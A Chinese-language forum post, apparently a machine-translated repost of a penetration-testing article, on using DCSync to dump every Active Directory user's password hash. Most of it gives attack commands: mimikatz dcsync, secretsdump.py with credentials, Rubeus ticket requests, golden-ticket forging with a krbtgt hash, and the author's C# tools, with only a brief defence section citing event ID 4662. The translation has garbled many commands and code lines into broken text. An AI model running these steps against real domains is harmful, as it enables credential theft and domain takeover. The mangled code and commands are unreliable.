Xiao7 发布于2022年11月8日 分享 发布于2022年11月8日 0x00 前言 在之前的文章《域渗透——DCSync》中,系统整理了DCSync的利用方法。本文将详细介绍使用DCSync导出域内所有用户hash的方法,分析不同环境下的利用思路,并给出防御建议。 0x01 简介 本文将介绍以下内容: 使用条件 利用工具 利用理念 辩护建议 0x02 利用条件 从下列任何用户处获取权限: 管理员组中的用户 域管理员组中的用户 企业管理员组中的用户 域控制器的计算机帐户 0x03 利用工具 1.C实现(mimikatz) 实施代码: https://github . com/gentil kiwi/mimikatz/blob/master/mimikatz/modules/LSA dump/kuhl _ m _ LSA dump _ DC . c # L27 命令示例: (1)导出域内所有用户的hash mimikatz.exe ' LSA dump:DC sync/domain:test . com/all/CSV '退出 (2)导出域内administrator帐户的hash mimikatz.exe ' LSA dump:DC sync/domain:test . com/user:administrator/CSV '退出 2.Python实现(secretsdump.py) 命令示例: python secretsdump.py测试/管理员:DomainAdmin123!@192.168.1.1 3.Powershell实现(MakeMeEnterpriseAdmin) 核心代码由C Sharp实现,支持以下三个功能: 通过DCSync导出krbtgt用户的哈希 使用krbtgt用户的哈希生成金券 进口金券 注: 我在测试环境下的实验结果显示,生成金券的功能存在bug,导入金券后无法获得相应的权限。 4.C Sharp实现 我在(MakeMeEnterpriseAdmin)的基础上做了如下修改: 支持导出所有用户的哈希 导出域sid 导出所有域用户sid 代码已经上传到github,地址如下: https://github . com/3g student/home-of-C-Sharp/blob/master/sharpdcsync . cs 补充:代码开发细节 输出字典中的所有键和值: foreach(值中的字符串键。按键) { 控制台。WriteLine(字符串。Format('key:{0} value{1} ',key,values[key]); } 字节数组到字符串,用于输出哈希: byte[]data=values[' ATT _ UNICODE _ PWD ']as byte[]; 控制台。WriteLine(BitConverter。ToString(数据)。替换('-',' ')); 将字符串字节数组转换为字节数组: string hex=' d 4 Fe 97 B4 FD 50367 c 7 AE 8 fef 781 f 27 a2e '; var inputByteArray=新字节[十六进制。长度/2]; for(var x=0;x inputByteArray。长度;x) { var i=转换。ToInt32(十六进制。Substring(x * 2,2),16); inputByteArray[x]=(byte)I; } 0x04 利用思路 1.在域控制器上执行 可以使用0x03中提到的工具。 2.在域内主机上执行 (1)Mimikatz 有两种方法可以利用它: 导入账单,执行DCSync Over pass哈希用于启动脚本,脚本执行DCSync。 (2)secretsdump.py 直接执行就好了。 (3)C Sharp实现 您需要首先生成一个票证。 有两种方法可以利用它: 获取krbtgt用户的hash,在本地使用Mimikatz生成Golden ticket。 命令示例: mimikatz ' Kerberos:golden/用户:管理员/域:测试。' COM/sid:S-1-5-21-254706111-4049838133-2416123456/krbtgt:d 4 Fe 97 B4 FD 50367 c 7 AE 8 fef 781 f 27 a2e/ticket:test . kir bi ' 获取高特权用户,并使用Rubeus发送请求来获取票证。 命令示例: Rubeus.exe asktgt/用户:管理员/密码:123456/输出文件:test.kirbi Rubeus.exe asktgt/用户:管理员/RC4:d 4 Fe 97 B4 FD 50367 c 7 AE 8 fef 781 f 27 a2e/outfile:test . kir bi 然后导入账单。 可以选择SharpTGTImporter.cs,代码已经上传到github,地址如下: https://github . com/3g student/home-of-C-Sharp/blob/master/sharpdcsync . cs 我在(MakeMeEnterpriseAdmin)的基础上做了如下修改: 支持导入指定的票据文件。 命令示例: SharpTGTImporter.exe测试 最后,执行DCSync。 可以选择SharpDCSync.cs导出所有用户哈希,代码已经上传到github,地址如下: https://github . com/3g student/home-of-C-Sharp/blob/master/sharpdcsync . cs 命令示例: SharpDCSync.exedc1.test.com试验。计算机输出缩微胶片 可以选择SharpDCSync_krbtgt.cs导出krbtgt用户哈希。代码已经上传到github,地址如下: https://github . com/3g student/Homework-of-C-Sharp/blob/master/SharpDCSync _ krbtgt . cs 命令示例: dc1.test.com测试。计算机输出缩微胶片 3.在域外主机上执行 方法与“2”相同。在域中的主机上执行" 0x05 防御建议 攻击者需要以下任何用户的权限: 管理员组中的用户 域管理员组中的用户 企业管理员组中的用户 域控制器的计算机帐户 您可以通过事件日志检测选择监控日志事件ID 4662。 参考资料: https://www.blacklanternsecurity.com/2020-12-04-DCSync/ 0x06 小结 介绍了使用DCSync导出域中所有用户的hash的方法。在(MakeMeEnterpriseAdmin)的基础上,编写了SharpTGTImporter.cs和SharpDCSync.cs代码,简单易用。结合利用的思想,给出了防御建议。 留下回复 链接帖子 意见的链接 分享到其他网站 更多分享选项…
推荐的帖子